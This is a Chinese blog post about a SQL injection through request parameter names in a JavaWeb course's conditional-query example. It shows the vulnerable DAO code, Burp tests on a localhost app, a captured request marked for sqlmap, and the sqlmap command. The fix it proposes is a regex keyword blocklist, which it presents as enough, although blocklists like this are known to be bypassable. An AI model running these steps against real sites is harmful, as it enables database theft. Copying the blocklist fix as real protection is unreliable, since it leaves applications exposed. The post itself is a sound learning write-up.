目录
- 黑马javaweb353集复杂的条件查询-参数名sql注入案例
- 实现分析
- 代码分析
- 重点分析
- 尝试利用漏洞
- sqlmap跑一下
- 加固思路
黑马javaweb353集复杂的条件查询-参数名sql注入案例
因专业原因,被迫学起了java。不过还好有舍友给我推了黑马的学习资料,每个学期都稳过。
在学习过程中,发现老师写的一处代码存在sql注入问题。而这个注入问题并不是常见的参数内容注入,而是因为参数名可控导致注入。
因此记录一下,与大家分享。
https://www.bilibili.com/video/BV1qv4y1o79t?p=354
在353集中,老师演示了一个复杂的条件查询案例。
大致功能如下:(根据姓名,或籍贯、邮箱进行查询)
实现分析
- 需要判断用户是否输入了姓名、籍贯等
- 如果不存在则直接执行原sql语句
- 如果存在则拼接sql语句(例:and name like ‘%test%’)
代码分析
list.jsp
将name等数据利用form表单发送到findUserByPageServlet
findUserByPageServlet.java
将参数名和参数存入一个map集合中,发送到一个实现类UserServiceImpl的findUserByPage方法中
UserServiceImpl.java
将map集合传入一个数据库操作实现类中(userDao)
重点分析
UserDaoImpl.java
public int findTotalCout(Map<String, String[]> condition) {
String sql = "select count(*) from user where 1=1";
StringBuilder sb = new StringBuilder(sql);
//遍历map
Set<String> keySets = condition.keySet();
//定义一个参数的集合
List<Object> params = new ArrayList<Object>();
for (String key : keySets) {
//排除分页条件参数
if("currentPage".equals(key)||"rows".equals(key)){
continue;
}
//获取value
String value = condition.get(key)[0];
//判断value是否有值
if (value != null && !"".equals(value)){
//有值
sb.append(" and "+key+" like ?");
params.add("%"+value+"%");
}
}
return template.queryForObject(sb.toString(),Integer.class,params.toArray());
}
大概逻辑就是,利用for循环遍历map集合,然后将键名存入key中,如果key存在且参数值存在,则将key带入sql语句中拼接。
拼接语句:
select count(*) from user where 1=1 and name like '%?%';
而value做了预处理,不存在sql注入。
但是key没有做预处理,我们可以通过控制参数名拼接sql语句,所以出现sql注入。
尝试利用漏洞
输入一些值进行查询
利用burp抓包,正常查询
当我通过burp修改参数名为**1 'and name **时,发现报错,看到了sql语句。因为tomcat本身原因,遇到特殊字符会修改成html编码传输到后台进行处理。
而将参数名改成1 and name 又访问正常,说明存在注入。
且后台语句为:
select count(*) from user where 1=1 and 1 and name like "%text%"
查询时出现了聚合函数,且tomcat不允许带有特殊字符这个限制。所以照成不了显注,但是可以形成时间注入及报错注入。
sqlmap跑一下
注意:将参数名利用*代替(表示sql会在那个地方载入payload)
POST /day17/findUserByPageServlet HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/day17/findUserByPageServlet?currentPage=1&rows=5
Cookie: JSESSIONID=84FF7F7AB1AAE9A01A9396DDC07E24CA; Idea-dab618b2=533e5dc9-f76f-4a1a-9ce3-526e903cd644
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-Forwarded-For: 127.0.0.4
X-Originating-IP: 127.0.0.4
X-Remote-IP: 127.0.0.4
X-Remote-Addr: 127.0.0.4
*=test&address=&email=
sqlmap -r "/Users/tiger/Desktop/未命名.txt" --dbs --batch
加固思路
如果使用预处理去加固的话,会导致查询查不出
因为预处理相当于利用问号拼接,拼接后会在字段名两旁添加类似双引号的字符,导致查询不出结果
select * from user where 1=1 and 'name' like '%t%' limit 0,5
不用预处理
所以需要更换思路,过滤字符串
java项目中如何防止sql注入?
static String reg = "(?:')|(?:--)|(/\\*(?:.|[\\n\\r])*?\\*/)|"
+ "(\\b(select|update|and|or|delete|insert|trancate|char|into|substr|ascii|declare|exec|count|master|into|drop|execute)\\b)";
static Pattern sqlPattern = Pattern.compile(reg, Pattern.CASE_INSENSITIVE);//表示忽略大小写
@Override
public List<User> finByPage(int start, int rows, Map<String, String[]> condition) {
String sql = "select * from user where 1=1 ";
StringBuilder sb = new StringBuilder(sql);
//遍历map
Set<String> keySets = condition.keySet();
//定义一个参数的集合
List<Object> params = new ArrayList<Object>();
for (String key : keySets) {
//排除分页条件参数
if("currentPage".equals(key)||"rows".equals(key)){
continue;
}
//获取value
String value = condition.get(key)[0];
//判断value是否有值
if (value != null && !"".equals(value)){
//判断是否为注入
boolean sqlValid = isSqlValid(key);
if (!sqlValid){
return null;
}
//有值
sb.append(" and "+key+" like ?");
params.add("%"+value+"%");
}
}
//添加分页查询
sb.append(" limit ?,?");
//添加分页查询参数值
params.add(start);
params.add(rows);
System.out.println(sb);
System.out.println(params);
return template.query(sb.toString(),new BeanPropertyRowMapper<User>(User.class),params.toArray());
}
public static boolean isSqlValid(String str) {
Matcher matcher = sqlPattern.matcher(str);
if (matcher.find()) {
System.out.println("参数存在非法字符,请确认:"+matcher.group());//获取非法字符:or
return false;
}
return true;
}
在判断value值过后,加一层判断。
将键名带入isSqlValid方法中判断,如果是注入语句,将会返回一个false,并且直接返回一个空值。
再利用sqlmap跑,已经失败了